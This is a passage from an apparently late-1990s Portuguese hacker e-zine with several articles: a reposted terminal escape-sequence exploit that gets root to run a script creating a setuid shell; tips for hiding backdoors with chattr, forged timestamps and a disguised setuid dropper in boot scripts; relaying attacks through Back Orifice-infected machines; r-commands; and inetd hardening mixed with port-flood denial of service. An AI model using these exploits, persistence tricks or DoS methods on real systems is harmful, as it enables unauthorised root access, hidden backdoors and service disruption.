<Guest666> tem shell?
<Aleex> Nao...o que e isso?

<Espartano> Como eu fao p/ criar uma sala?!
<tOneOne> hummmm... compra um terreno e depois constroi soh a sala


/quit HuH!


 Ŀ 
( 13 )   ADMesc             
 
   Ĵ  By BLAcK MaSK  `
     

        Ae, estou apenas ripando um arquivo muito roca que peguei esses
dias atras.


-=-=-

                      ___      ______      _       _
                    /     \   |   _   \   |  \   /  |
                   |  / \  |  |  |  \  |  |   \_/   |
                   | |___| |  |  |_ /  |  |   \_/   |
..oO  THE          |  ---  |  |       /   |  |   |  |         CreW Oo..
                   '''   '''   '''''''    ''''   ''''
                               presents

                         the evil ESC sequences


hi well here is describe a bug seem affects UNIX  .. (Linux/BSD/Sunos)

he can just compromise the root ... ( or any users on the system ..)

bugs:

[root@ADM root]#echo -e  "\033\132"

[root@ADM root]#6c
bash: 6c: command not found
[root@ADM root]#

well the  ESC\132 put 6c on your cmb line   just need to tape enter ...

how to use for r00ted som1 ??? very very easy heheh :)

1:
[xbug@ADM XbuG]$touch passwd-list-of-ftp-warez
[xbug@ADM XbuG]$echo -e "\033[30m\033\132" >> passwd-list-of-ftp-warez

2:

make the proggies 6c ..

[xbug@ADM XbuG]$cat > 6c
#!/bin/sh
cp /bin/sh /tmp/sh
chmod 4777 /tmp/sh
^C
[xbug@ADM XbuG]$chmod +x 6c

3:

now if the root make a cat or a more on your file passwd-list-of-ftp-warez
..
he can be 0wnd hhe

[root@ADM XbuG]#cat passwd-list-of-ftp-warez

( now if i type enter i'm ownd .. u cant see the 6c because the ESC[30m
 cache him .. ;)


note: humm  on other term that be != of 6c .. try out first :)

ps: hehehe that can be remote too...

<Raw-Powa> u can get remote access with it
<Raw-Powa> ftp victim
<Raw-Powa> cd incoming
<dxmechie> remote?
<Raw-Powa> put 6c
<dxmechie> hha
<Raw-Powa> chmod +x 6c
<dxmechie> hha
<Raw-Powa> chmod +x 6c
<Raw-Powa> put EvillFilEzInFecTeD

hey a other trik ...

u can do echo -e "\033\132..." >> /dev/ttyXX

yahoooo :)


i'm sure they have 36568 ways for sploit diz b00g have fun :>


------new esc-------

<Solar_Diz> echo -e "\033[5;0n"
<Solar_Diz> another escape, more portable this way ;-)

thx to him :)
-------------------

---[bloody
echo]--------------------------------------------------------------
#include <stdio.h>

void main () {

 (void) printf("\033[30m");  /* black color           */
 (void) printf("\033\132");  /* evil escape sequences */

}
-------------------------------------------------------------------------------

credits:  Heike even ...

cut/n/past

#hax       heike-raw  H@  ~d0@raid0.toxyn.org (d0)
#hax       ^Che       H@  ahg@geisli-93.centrum.is (Ernesto Che Guevara)
#hax       appel      H@  appel@appel.isirc.is (J, g nota ullarnrft!)
#hax       crazy-b    H@  ~crazy-b@t5o207p20.telia.com (crazy-b)
#hax       SLUT       H@  crazy-b@music.is (digit 0WNS me)
#hax       su1d       H@  teddi@irc.music.is (Theodor Ragnar Gislason)
#hax       NetGuru    H@  ~netguru@hp735.cs.uni-magdeburg.de (NetGuru of
                      deep/CyberDyne)
#hax       CUNT       H@  crazy-b@josva.dataguard.no (BugTester -
DataGuard)
#hax       Ph\\Je     H@  lice@dat95kjn.campus.mdh.se (d4 phuqen ph4lze
                                 j3h0va)
#hax       zh4p       H@  wiltsu@rai.rauma.fi ("try to smoke me up")
#hax       DiGiT      H@  teddi@geisli-26.centrum.is (warp speeds..
                )


Cya.

Check out .. or die :) ftp.janova.org/pub/ADM
-=-=-


 Ŀ 
( 14 )  TCP/IP - A Orgia    
 
   Ĵ  By BLAcK MaSK  `
     

	Hello k1dz. Decidi escrever este texto pq poucos realmentem
entendem como funciona o nosso amavel TCP/IP. A maioria soh sabe
que TCP/IP significa Transmission Control Protocol/Internet
Protocol e que outros protocolos como HTTP e FTP, por exemplo,
rodam nas portas 80 e 21, por default, respectivamente. Para quem
deseja se especializar em hack ou seguranca, eh essencial conhecer
o funcionamento intimo, alem do sistema operacional, o da rede, no
nosso caso, principalmente a Internet.

	Pretendo descrever todo o funcionamento, aprofundando-se
as vezes em certos detalhes, porem, que permaneca sempre de
facil(?) entendimento para os iniciantes, que acredito que sejam
a maioria dos que leem este zine. Friza-se que para akeles que
almejam realmente conquistar um *bom* conhecimento em TCP/IP
que lendo um ou dois textos nao eh suficiente! Portanto, citarei
outros documentos, RFCs (request for comment), urls, etc. ao
longo das explicacoes, para que vc possa se aprofundar em certos
aspectos e, desta forma, solidificar o que aprendeu.

	
---+++---+++---+++---+++---+++---+++---+++---+++---+++---+++---+++

I.  TCP/IP - Definicoes


 Que porra eh esta sopinha de letras? 


	TCP/IP refere-se a dois protocolos (tcp e ip :) ), que
pertencem a *suite de protocolos* de mesmo nome: TCP/IP. Daqui
para adiante, fica subentendido que quando falarmos em TCP/IP,
estaremos falando da suite de protocolos. Estes protocolos manejam
o transporte de dados na Internet, ou em qquer rede que opte por
utiliza-lo. Pode-se afirmar que o TCP/IP esta' para a Internet,
assim como o IPX (outro protocolo de transmissao) esta' para uma
Rede Novell ("teorema das razoes"; 6 serie - 1 grau, ensino fun-
damental :) ).

	Atraves do TCP/IP vc acessa a HP da Monica, ou, manda um
e-mail pro seu vizinho. Ele foi concebido para atuar independente-
mente da plataforma (UNIX, NT, OS/2..) e prover servicos rapidos
e confiaveis sem consumir muitos recursos do hardware. 

	Bom, e em quais protocolos divide-se a suite TCP/IP? Vc
deve ter pensado: "FTP, SMTP, IP, UDP, ICMP...". Estah correto,
mas o TCP/IP eh organizado em duas classes principais de protocolos:


- Protocolos a nivel de rede. (ex. ARP, IP, TCP, etc)
- Protocolos a nivel de usuario/aplicacao. (ex. FTP, HTTP, etc)


I.I  Protocolos a nivel de rede (network-level protocols)

	Estes protocolos, normalmente, sao invisiveis ao usuario
e cuidam da transferencia de dados. Atuam em conjunto com o siste-
ma operacional promovendo comunicacao da maquina local com outras
remotas. A menos que se use algum dispositivo como um sniffer, vc
nunca vera' estes protocolos interagindo no sistema.	 

	
I.II  Protocolos a nivel de usuario/aplicacao (application-level
					      protocolos)

	Ao contrario da citacao anterior, estes protocolos sao
visiveis aos usuarios. Visiveis como? Por exemplo, uma sessao de
FTP: o usuario requere a conexao e *ve* a resposta do servidor,
assim como o andamento de downloads, mensagens de erros, etc.


II.  O Funcionamento

	O TCP/IP utiliza-se de varias camadas de transporte (layers)
para transmitir os dados. O conjunto de todos esses layers e o cami-
nho que os dados percorrem ate' chegar ao destino, chama-se stack
(nao confundir com stack/memoria).
 
	Atraves de askii c0des tentarei ilustrar o que foi dito. :)


P.S.: Para evitar problemas de visao use pico ou edit. :>


        -------- <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< 
        |   PC   |                              << 
        -_------                              << 
           \_                                   << 
             \_                                 << 
               \_                               << 
             ===|=====================        <<
             | Layer usuario/aplicacao |   <<   <<      S  
             ==========|==============        <<
                         \_                     <<
	   Usuario clica no botao "Connect" :)	<<
                           \_                   <<
             ===============|=========        <<       
             |   Layer de Transporte   |   <<   <<      T
             ===============|=========        <<
                           _/                   <<
                Um cabecalho e' adicionado.     <<
                         _/                     << 
             ==========|==============        <<
             |     Layer  de  Rede     |   <<   <<      A
             ==========|==============        << 
                         \_                     <<
        Enderecos IP de origem/destino sao adc. << 
                           \_                   <<
            ================|=========        <<
            |     Layer   Datalink     |   <<   <<      C
            ================|=========        <<
                           _/                   <<
                Checagem de erros               <<
                         _/                     <<
           ============|==============        <<
           |       Layer  Fisico       |   <<   <<      K
           ============|==============        <<
                         \_                     <<
	Os dados navegam pelos cabos coaxiais ou modens.
                           \_                   <<
	

	Este caminho (de cima para baixo) e' executado caso os
dados se originem do -PC origem- da figura. Quando ele chegar ao
-PC destino-, este processo sera' executado pelo caminho inverso
(layer fisico => PC).

II.I  Encapsulamento de Pacotes

	Durante a passagem de um layer para o outro, os pacotes
de dados vao sendo encapsulados por cada protocolo que atua em cada
layer. Por exemplo, um pacote vindo do Telnet protocol. Primeiramente
ele e' encapsulado pelo proprio protocolo Telnet, depois pelo TCP
e assim por diante, ate' chegar ao ultimo layer onde e' encapsulado
pelo protocolo Ethernet..
	
	Quando este pacote chegar ao destinatario, o processo inverso
e' realizado como ja' vimos. O hardware retira o header do protocolo
Ethernet, o kernel retira o header do IP e TCP/UDP e por ultimo
o Telnet retira o seu header. 


III.  Overview dos diferentes protocolos

	Dentro de cada layer, trabalham varios protocolos cada
um desempenhando sua funcao especifica. E' isto que veremos agora.


Network-Level Protocols		Application-Level Protocols
|	|	|     |		|	|	|	|
|	|	|     |		|	|	|	|
ARP	ICMP	IP   TCP	FTP	SMTP	HTTP	Gopher


PS.: E' claro que estes nao sao os unicos protocolos de cada classe.

		
III.I  ARP

	O Address Resolution Protocol (ARP) desempenha a importante
tarefa de a partir do endereco IP, descobrir o endereco fisico (hardware
address). Este endereco fisico e' vital para o roteamento dos dados.
Um exemplo de hardware address: 08:00:09:10:34:14

	Quando uma requisicao ARP e' difundida pela rede, um roteador
responde com o devido endereco de hardware e, so' entao a transferencia
de dados inicia.
	
	O protocolo ARP, assim como os browsers, utiliza-se de cache.
Este esquema e' identico ao dos browsers. Enderecos de hardware ficam
cacheados e se uma houver uma nova requisicao para o mesmo endereco IP,
o ARP vai la' e cata na sua database o endereco fisico. Isto poupa
tempo e diminui o trafego pela rede.

	Entretanto, o cache pode virar-se contra o criador. :)
E' possivel forjar uma conexao com a vitima, tentando passar-se por
um dos enderecos cacheados anteriormente.

	Bom, por aqui se encerra nossa aula de hoje. :) Por falta de
tempo e tambem pq nao e' legal so' ir jogando as informacoes assim,
o resto deste mini-mini-tutorial de TCP/IP fica pras proximas edicoes
do zine. Acredito que ha' materia para pelo menos umas 10 edicoes.. :)
	
	AstaLaVista!
	
IV.  Bibliografia

	Maximum Security - Beej's Guide to Network Programming 

								BLAcK MaSK


 Ŀ 
( 15 )   Dicas  4  Linux    
 
   Ĵ  By BLAcK MaSK  `
     

	HaiL! Como o retorno foi bom das duas edicoes passadas, manti essa
"secao" aih no zine e, enquanto a galera gostar, estaremos aih.. Nessa 
edicao selecionei algumas tricks bem rlz e que acredito que o pple 
aproveite! No more fuckin words. Wake up!


[chattr / lsattr]

	Bom, o que o primeiro comando faz e' simplesmente alterar os
atributos de um arquivo em uma particao linux ext2. E dai? E dai' que com
algumas de suas features nos podemos deixar certos arquivos "imutaveis".
:>
	
	Ja' o segundo, lista todos os arquivos do diretorio mostrando se
estao com algum atributo do chattr ou nao.


lame-box:/ # chattr
chattr 1.10, 24-Apr-97 for EXT2 FS 0.5b, 95/08/09
usage: chattr [-RV] [-+=AacdisSu] [-v version] files...
lame-box:/ #


		..oO  Diretamente das man pages..  Oo..

       -=-=-
       ...
       A  file with the `i' attribute cannot be modified: it can-
       not be deleted or renamed, no link can be created to  this
       file  and  no  data  can  be written to the file. Only the
       superuser can set or clear this attribute.
       ...
       -=-=-

	Sounds pretty cool, doesn't it? :> 
	Voltemos ao nosso prompt..


lame-box:/ # touch abc123
lame-box:/ # chattr +i abc123
chattr 1.10, 24-Apr-97 for EXT2 FS 0.5b, 95/08/09
lame-box:/ # lsattr
lsattr 1.10, 24-Apr-97 for EXT2 FS 0.5b, 95/08/09
-------- ./sbin
-------- ./root
-------- ./bin
-------- ./cdrom
-------- ./home
-------- ./lib
-------- ./mnt
-------- ./opt
-------- ./usr
-------- ./dev
-------- ./boot
-------- ./vmlinuz
----i--- ./abc123            => the evil's attribute >:)
-------- ./sun_205_5_1.zip
-------- ./phrack54.tar.gz
-------- ./fdformat-ex.c
-------- ./named-sun.c
lame-box:/ # ls -la abc123
-rw-r--r--   1 root     root            0 Dec 24 23:59 abc123
lame-box:/ # rm abc123
rm: remove `abc123', overriding mode 0644? y
rm: abc123: Operation not permitted
lame-box:/ #


	Voce viu que, mesmo sendo "root" nao foi possivel que apagassemos
o arquivo. Logo, o *unico* jeito e' remover o atributo "i".


lame-box:/ # chattr -i abc123
chattr 1.10, 24-Apr-97 for EXT2 FS 0.5b, 95/08/09
lame-box:/ # rm abc123
lame-box:/ #


	Este foi um exemplo banal, voce pode usar para qualquer arquivo
do sistema. Um bom uso seria usa'-lo pra dificultar a remocao de backdoors
ou ate' de um simples index.html modificado.. Se o administrador nao co-
nhecer estes dois comandos (chattr/lsatrr), pode "enlouquecer" tentando
remover/alterar qualquer arquivo marcado com estes atributos especiais.
>:)


P.S.: E' pouco provavel que o super administrador nao conheca estes dois
comandos basicos. hehehe..


	O "lsattr" sem argumentos adicionais, nao mostra os arquivos
ocultos (que comecam com "."), mas, e' so' rodar com "-a" que ele mostra. :)

	Para maiores informacoes:
	# man chattr; man lsattr


[touch]

	Parece um topico estupido, mas nao e'. Voce deve ja' ter usado
este comando ou pelo menos ouviu falar. O que ele faz? So' cria arquivos
vazios. What!? A definicao dele, ou o proposito para que foi criado nao e'
bem este.. Mais uma vez, vamos recorrer as nossas queridas man pages. ;>


		..oO  Diretamente das man pages..  Oo.. 
		
       -=-=-
       ...
NAME
       touch - change file timestamps
       ...
       This manual page  documents  the  GNU  version  of  touch.
       touch  changes  the  access and modification times of each
       given file to the current time.  Files that do  not  exist
       are  created empty.  If the first file name given would be
       a valid argument to the -t  option  and  no  timestamp  is
       given  with  any  of  the -d, -r, or -t options and the --
       argument is not given, that argument is interpreted as the
       time for the other files instead of as a filename.
       ...
       -=-=-


	Bom, vamos la' ver o que pode ser feito.


lame-box:/ # ls -la nmap-2.01.tgz 
-rw-------   1 root     root       277524 Dec 25  1998 nmap-2.01.tgz
lame-box:/ # touch --help
Usage: touch [OPTION]... FILE...
Update the access and modification times of each FILE to the current time.

  -a                     change only the access time
  -c                     do not create any files
  -d, --date=STRING      parse STRING and use it instead of current time
  -f                     (ignored)
  -m                     change only the modification time
  -r, --reference=FILE   use this file's times instead of current time
  -t STAMP               use MMDDhhmm[[CC]YY][.ss] instead of current time
      --time=WORD        access -a, atime -a, mtime -m, modify -m, use -a
      --help             display this help and exit
      --version          output version information and exit

STAMP may be used without -t if none of -drt, nor --, are used.

Report bugs to fileutils-bugs@gnu.ai.mit.edu
lame-box:/ # touch -t 071312001996 nmap-2.01.tgz
lame-box:/ # ls -la nmap-2.01.tgz
-rw-------   1 root     root       277524 Jul 13  1996 nmap-2.01.tgz
lame-box:/ # 

	
	R0x! Se o admin nao usar um bom md5 ou qualquer outra ferramenta
de checksum, o arquivo modificado/criado passara' desapercebido aos seus
olhos de aguia facilmente. hehehe.. Se ele nao tinha uma lista de todos
os arquivos com suid bit, ou, uma lista com todos os arquivos executaveis
que estavam pelos menos nos diretorios da PATH, creio que ficara' meio(?)
dificil do administrador detectar a presenca de trojans/suid shells.


P.S.: Em SunOS/Solaris, o comando touch usa o argumento "-m" ao inves
do "-t". Outra coisa, o format do ano e' YY, nao CCYY, se voce puser
touch -m 010115001995, a data do arquivo vai ficar no ano 1970 (a mais
baixa suporta por estes OS's). :P 


Conselho para os administradores de sistema: Use a sua intuicao! :P
Ou reinstale todo o sistema. Depois de ter sido 0wn3d, nao precisa ter
vergonha de fazer isso.. >:)
	

[/etc/rc.d/]

	Vamos falar um pouco sobre este diretorio. O que ele tem de
especial? Bem, ele guarda praticamente todos os scripts que sao 
inicializados durante o boot. Isto inclui configuracao de firewall,
mouse, syslogs, etc. O modo como e' feito o controle do boot, varia
de distribuicao para distribuicao. Enquanto no RH, e' mais centralizado
ficando a maior parte dos comandos em tres arquivos (/etc/rc.d/rc;
/etc/rc.d/rc.sysinit; /etc/rc.d/rc.local), no SuSE por exemplo, existem
dezenas de arquivos separados, cada um contendo um shell script diferente,
um para inicializar o named, outro para servicos rpc, e assim por diante.
Porem, todos eles sao controlados pelo /etc/rc.config e /sbin/init.d/boot.

	Entao... poderiamos usar estes arquivos de inicilizacao para
por backdoors: inicializar binders, copiar suid shells, etc. Se o
administrador descobre uma suid shell ou killa um binder, voce pode
causar um denial of service e, da' proxima vez que a maquina reiniciar
voce a tem sob controle novamente, ja' que todos estes scripts rodam
como root. :>

	Voce pode inserir estes comandos em qualquer arquivo que voce
tenha certeza que sera' inicializado. Nao adianta colocar no
/etc/rc.d/named se no /etc/rc.config o named nao e' inicializado.
Pra nao ter essas frescuras, vamos por no /etc/rc.d/boot. :>
No RH, voce pode inserir no /etc/rc.d/rc.sysinit..

	Seria inteligente por estes comandos no meio do arquivo,
pois dificulta a visualizacao pelo admin. Tambem seria inteligente
nao por estes comandos em plain text. Crie um executavel em C so' pra
fazer isso! Dificulte a vida do admin! >:)


	Eggzamples.:

-=-=-	/etc/rc.d/boot ou /etc/rc.d/rc.sysinit -=-=-
/* Os arquivos variam de distribuicao p/ distribuicao, nada que um
man rctab/init/inittab/etc nao resolvam :P */
....
# Mount local filesystems in '/etc/fstab' (and create an entry for /).
#
#
# if the /etc/fstab contains file systems, which are loadable
# modules, then it causes an error message, if they are placed
# in front of /proc.  So mount /proc first
#
echo "Mounting local file systems..."
mount -av -t proc
mount -av -t nonfs,noproc
# Activating mount..
/sbin/mountd
...
-=-=- EOF -=-=-

	Ae, neste exemplo, apos a particao ser mountada com modos
rw, nos chamamos o proggie /sbin/mountd que ira' copiar uma suid shell
pra gente. Eu ate' inclui um pequeno comentario so' pra despistar..
O local onde nos criamos a suid shell tem que ser necessariamente
apos (no fim do arquivo ou na linha seguinte) ela ser mountada de acordo
com o /etc/fstab!

	Pra quem nao entende nada de C, vou mostrar o /sbin/mountd.
Melhor do que fazer um shell script, ne'? :>


-=-=- mountd.c -=-=-
/* - /sbin/mountd - Copy a shell and makes it suid :) */
#include <stdlib.h> // no meu livro de C diz q a funcao system()
		    // tah nesse header... :P
main()
{
        system("/bin/cp /bin/sh /diretorio/que/eu/quero/proggie-suid");
        system("/bin/chmod +s /diretorio/que/eu/quero/proggie-suid");
        return 0;
}
-=-=- EOF -=-=-


	Depois e' so' compilar e por no /sbin. Da mesma forma, voce
poderia inicializar um binder. Mas o que e' um binder? Um binder e'
um stand-alone daemon (que nao depende do inetd) e que vai simplesmente
ficar listening em uma porta pre-especificada esperando por conexoes.
Ai', se voce telnetar nesta porta e digitar a senha correta (se voce
compilou com suporte a autenticacao de password) ele simplesmente bindeia
uma shell root pra voce. Por ser stand-alone, mesmo que o inetd esteja
killado ou haja um "all:all" no /etc/hosts.deny voce continuara' com
acesso. A unica forma de se bloquea-lo seria via firewall ou simplesmente
killando o processo. ;>

	Um binder que ja' bem conhecido e disponivel ha' um bom tempo na
NET, e' o b4b0. Pode ser encontrado na Rootshell (www.rootshell.com).
So' um detalhe: se voce for rodar o binder numa conexao normal e'
preciso que voce rode junto com o comando nohup e em background se quiser
que ele fique ativo apos voce desconectar (nohup ./b4b0 & e depois rm
nohup.out). Mas, se voce puser para que ele seja inicializado durante o
boot, so' e' necessario que se rode em background, pois estes processos
permanecem ativos ate' que se mude o runlevel. Ultimo detalhe: o binder
deve ser rodado *apos* a inicializacao do loopback.


[/etc/issue]

	Este arquivo contem o banner que e' mostrado por programas que
usam o /bin/login. Por exemplo, o telnet e o proprio /bin/login. Para
melhor compreensao..


Welcome to Red Hat Linux 5.1 (Manhattan).

lame-box login:	
	
	
	Isto ai', o /etc/issue guarda a primeira linha ("Welcome...").
Entonces, e' so' voce editar este arquivo e personalizar o seu login.
No Red Hat Linux, alem de voce modificar este arquivo e salvar as modi-
ficacoes, voce deve alterar o /etc/rc.d/rc.local para que ele nao zere e
mude de novo este arquivo. Alem disso, no RH, hah mais um arquivo que
guarda esse banner: /etc/issue.net, sendo que este ultimo e' usado
para conexoes via telnet e o /etc/issue para logins via console.



			..oO  Last w0rds  Oo..

	Tipw, eu estava pensando em criar uma area de Perguntas e
Respostas, como se fosse uma FAQ. E quem enviaria estas quiz questions
seriam os proprios leitores e, assim, serviria para ajudar outras
pessoas que tivessem as mesmas duvidas e tal. Tambem seria legal, se
os leitores enviassem as suas proprias dicas e/ou suas experiencias
com determinadas situacoes/problemas. Acredito que isto seria de grande
valor para todos. Devidos creditos serao dados e, nao se preocupe que
o seu nome verdadeiro nem seu e-mail address serao mostrados.

	Aguardo replies! Meu e-mail : black_mask@usa.net
	
	Hasta luego!

							BLAcK MaSK


 Ŀ
( 16 ) Comandos remotos    
 
   Ĵ  By Laukiller   `
     

	WALLAAAA...ieis,that's eu,LauKiLLeR.Provavelmente,jah pode ter 
percebido q esta eh a primeira vez q tou escrevendo uma materia pra hackphr 
e tal...
	Gostaria de agradecer muito ao pessoal gente fina do hackphr...
Brigaduu B0mB4sT1c,SyCoFlUiD..sOurce... xt0rm r0x..LiVE(o conselheiro =B>)...
e principalmente a tOneOne(t11)...
	Vcs podem me encontrar geralmente no #linux e #hackphr(a noite
geralmente)num dos servers da brasnerd...
	Bom,agora vamos ao "ateh q em fim"...essa materia eh relacionada
aos comandos remotos(r* comands)...

	OK,vamos falar primeiramente sobre o comando rlogin(se assemelha
muito com o telnet...)

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>rlogin>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	
	O comando rlogin eh usado para se conectar em sistemas
remotos,assim como o telnet,q eu disse a umas linhas atras...Primeiramente
usarei o rlogin pra me conectar e tal..exe:

[lammah@localhost]# rlogin host.com.gov.org
Password:*****(claro q naum aparece nada de *)

Ok,vc se conectou...mas,quando vc se conecta com o rlogin,ele pensa q o
seu login no sistema remoto eh o mesmo no seu sistema local...para isso,
pressione enter...exe:

bash# rlogin algum.host.com
Password:(aperte enter)
Login incorrect
login:laukiller
Password:mitiniki(mas naum aparece nada)

Blz,agora apareceu um novo prompt (login:)...ai mermao,eu creio q vc tenha
um minimo conhecimento de unix e telnet pra se virar,faca uma backdoor...
tOneOne fez um prog r0x..backmake.sh...ou crie uma conta...isto eh,se vc
conseguir entrar com uma senha com UID 0...

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>rsh>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

O comando rsh eh usado para uma execucao de algum comando em uma makina
remota(parece com o uux)...exe:

bash# rsh host [ -l username ] [ -n ] [ comando ]

Pra esclarecer mais...um exemplo pratico:

bash# rsh algum.host.gov cat /etc/passwd

Mas,se naum for especificado o comando,o rsh vai se comportar como uma
sessao rlogin...o nome do usuario naum eh obrigado,se naum for
especificado,o comando soh serah executado dependendo de suas permissoes,
ou seja,tudo estah em torno do /etc/passwd suca...

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>rcp>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

O comando rcp eh usado para a trasnferencia de arkivos entre uma makina
local e uma remota...(como o put do ftp)...exe:

bash# rcp [-p] arkivo1 arkivo2

Pra esclarecer mais...um exemplo pratico r0x:

Suponhamos q vc keira transferir um arkivo chamado hack.c,a seguir,vc cria
um arkivo no sistema remoto chamado hack.c ou qualquer nome....dai:

 bash# rcp cyberspace:/c/m/merda/hack.c hack.c

O primeiro hack.c q estah junto com os diretorios,eh o nome do arkivo
remoto q vc criou...e o segundo hack.c eh o arkivo q vc ker trasnferir...

								Laukiller


 Ŀ 
( 17 ) Redirecionando Conexoes 
 
   Ĵ  By {Ricardo}   `
     

E ae galera. Estou eu aqui na frente do meu pc com o joe aberto pensando em
como fazer uma introducao para este texto. Como no pensei em nada, saiba
somente que essa eh uma tecnica que eu uso frequentemente e a um tempo bom,
mas so agora resolvi documentar.

Eh o seguinte. Voce le estes textos sobre como usar um Wingate como uma
"ponte" entre voce e o servidor alvo, ou mesmo entre voce e cara que voce
pretende encher o saco no irc. ai vem o problema. Servidores de Wimgaiti nao
se encontram em qualquer esquina e portanto voce precisaria de um tempinho
para escanear ip classe B ou C, o que demora uma vida.

Enato o que voce faz? Vai com a cara e a coragem hackear pensando "Ah, eu sou o 
melhor, nunca irao me pegar, alem do que eu apaga os logs com o zap." 
Na na ni na nao.

Voce usa o BO. BO? Eh o BO. Existe uma funcao no BO que redireciona um conexao 
no ip infectado para outra funcionando como uma ponte. Um exemplo:
Eu estou querendo hackear o provedor ugabuga.com, que tem o ip 205.25.205.25 
por, digamos telenet (p 80). Entao eu procuro um troxa infectado com o BO, 
digamos o troxa do ip 120.240.120.240  digito o ip dele lah, escolho a opcao 
Redir ADD. Nos campos para colocar as opcoes, no da esquerda, In port, eu
coloco 954 (uma porta qualquer, mas que nao de muito na vista) e no campo da
direita, Out Ip(:port), eu coloco 205.25.205.25:80 e clico em Send.

Entao eu abro o meu cliente de telnet e conecto no ip 120.240.120.240 e mando 
ele conectar na porta 954. Pronto! A conexao com o host ugabuga.com estara 
aberta e para eles, a conexao esta vindo de 120.240.120.240, que eh o ip
infectado com o BO.

Sacow?

Agora explicando a tecnica. O comando Redir ADD, adiciona um redirecionamento, 
ou seja, ele redireciona conexoes abertas na porta X do ip infectado para o
ip Y na porta Z. Simples nao? 

SEU PC ---------Infectado pelo BO --------- Servidor Alvo

Ai voce faiz a maior cagada no servidor. Entao voce estara ferrado? Nao. O
troxa do BO sim. Ai voce me diz: "Ok, mas e os logs?" Bah! Um Pentium 100
usado para digitar texto no word e acessar irc vai la gravar log :) ?

Eh isso. Voce fica totalmente invisivel.

Flw's. Tento mais coisas eu mando para cah. Valeu por terem publicado minha 
materia.

							      {RiCaRdO}


 Ŀ 
( 18 ) INETD Denials   . 
 Ĵ  
   Ĵ  By inth        `
     

iae.. vo falar sobre denials contra o inetd. sim, e' claro vc ja ouviu falar
desse tipo de denial, mas presta atencao no q eu vo explicar. ;)

obs: primeiro eu vou ensinar um pouco como se prevenir, depois a "diversao"
     pros kiddies.. :)

* O que eh inetd?

Inetd - e' o principal daemon do Linux e outros *nixes. eh pelo
        q roda os services como ftp, ident, telnet, etc..
Bom, ate' ai tudo bem.. isso ja da a entender que o inetd eh importante.

* os services

tipo, eu (e aposto q muita gente tb) acho que o inetd roda varios services
meio "inuteis" que so servem pra atrapalhar. Os services que voce deve
deixar abertos ficam a seu criterio, depende de como a maquina e utilizada.
Porem, na maioria dos casos eu aconselharia a fechar varios pequenos
services que podem te dar dor de cabeca depois, e tipo, varios desses vem 
muitas vezes ativados por default.

Alguns desses services: echo, discard, systat, daytime, netstat, chargen,
                        time, finger.

- echo (7), discard (9) : vc precisa disso?
- systat (11): idem. alem disso, isso mostra os processos rodando na sua
               maquina (pra que?)
- daytime (13): inutil(?)
- netstat (15): mostra as conexoes ao seu ip (pra que?)
- chargen (19): nem sei direito pra q isso serve, mas nao vi problemas ao
                fechar esse service.
- time (37): pra que isso mesmo hein? :)
- finger (79): depende da suas necessidades. pode ser um service util, mas eh
          perigoso dar a lista de logins para site remotos. aconselho que 
          simplesmente feche.

Bom, geralmente fecha-se ao menos echo, discard, systat, daytime e chargen..
Alem disso ha' outros services como o uucp, q sao inseguros..

se voce mandar diversos pacotes SYN para a Daytime ou Time o inetd pode
travar.

Lembre-se tambem de medir suas nescessidades, para saber que services vai
fechar. Vou dar o exemplo da minha maquina. eu deixo basicamente soh as
seguintes portas abertas:

21 (ftp);
23 (telnet);
25 (smtp);
80 (http);
110 (pop3).
E talvez outras, bom mas fechei as principais que apenas atrapalham o
desempenho da maquina.
obs.: lembre-se tambem de fazer upgrade de services, principalmente 
      sendmail, pop, imap..

Bom.. isso e' o basico para ter maior seguranca com o inetd.

*** DENiALS ***

Agora a "diversao".. aehaeh

* Floodando uma porta..

   Bom, o denial contra inetd e' bem facil.. vc simplesmente flooda uma
determinada porta interminavelmente, ate que o inetd fecha, o service que vc
floodou vai ficar inativo por uns 5, 10, 15 minutos!
Acho que esse denial ja e meio velho, quero esclarecer que isso nao eh um
bug no inetd.. O proprio inetd eh que depois de um certo limite de conexoes
numa determinada porta, fecha o servico para nao consumir muita memoria.

* Floodando varias portas

  1-) detalhes

  Seguinte, um dia eu tava aqui sem nada oq fazer.. resolvi dar um portscan no
meu localhost.. tipo.. vi que o cpu trabalha um pouquito, escrevendo os logs
das conexoes, e rodando os services. Ae me interessei, resolvi dar continuos
portscan's na minha maquina, tipo assim:
portscan localhost; portscan localhost; portscan localhost; portscan localhost
(..)
  Ae tipo.. o cpu trabalhou um bocado.. entao rodei o 'top' em outro tty. E
dessa vez rodei muitos e muitos portscans e fiquei observando o top.
Resultado: entre os processos que mais estavam consumindo o cpu, estava o
syslogd em PRIMEIRO lugar. e foi aumentando. primeiro tava consumindo 18%,
depois 28%, chegou a quase 40% ..
  Mas nao eh soh isso. alem do syslogd, havia os proprios services.. no
caso aqui estava rodando telnetd, smtp, imapd, pop3d, fingerd, systatd,
netstatd, httpd, identd.
  A maquina ficou lentissima. Quase chegou a travar. ficou tipo, como se 
estivesse em lag.. era o cpu ainda terminando de escrever os logs e 
fechando os daemons que estavam respondendo aos query's.
ainda criou-se processos zoombies (Z) para aumentar consumo do cpu.
  Isso eh muito ruim, porque fica por ex., rodando o imap 3 vezes pra
responder os querys, o pop mais 3 vezes, o ident mais 3 vezes.. cada um
consume um pouco do cpu e deixa a maquina muito lenta, e qdo cada service
fecha, chama o syslogd para gravar a conexao.

  2-) Quero detonar logo essa merda, como faco?

  Pros "DoS kiddies", e principalmente pros retardados mentais q ainda nao
entenderam.. uhauah.. vou explicar logo o que interessa a voces..

Bom, para planejar seu ataque ao host remoto.. primeiro damos um portscan no
host.. (o portscan.c ta anexo)

kiddie(tty3/17)[~]# portscan

               .:[ Port Scanner ]:.
.:[ usage: ./portscan <host> [init port] [final port] ]:.

kiddie(tty3/18)[~]# portscan provedor.lame.com.br 1 200
. scanning: [provedor.lame.com.br] tcp ports 1 to 200 .
.: 1 (tcpmux) . open.
.: 7 (echo) . open.
.: 9 (discard) . open.
.: 11 (systat) . open.
.: 13 (daytime) . open.
.: 15 (netstat) . open.
.: 21 (ftp) . open.
.: 23 (telnet) . open.
.: 25 (smtp) . open.
.: 37 (time) . open.
.: 79 (finger) . open.
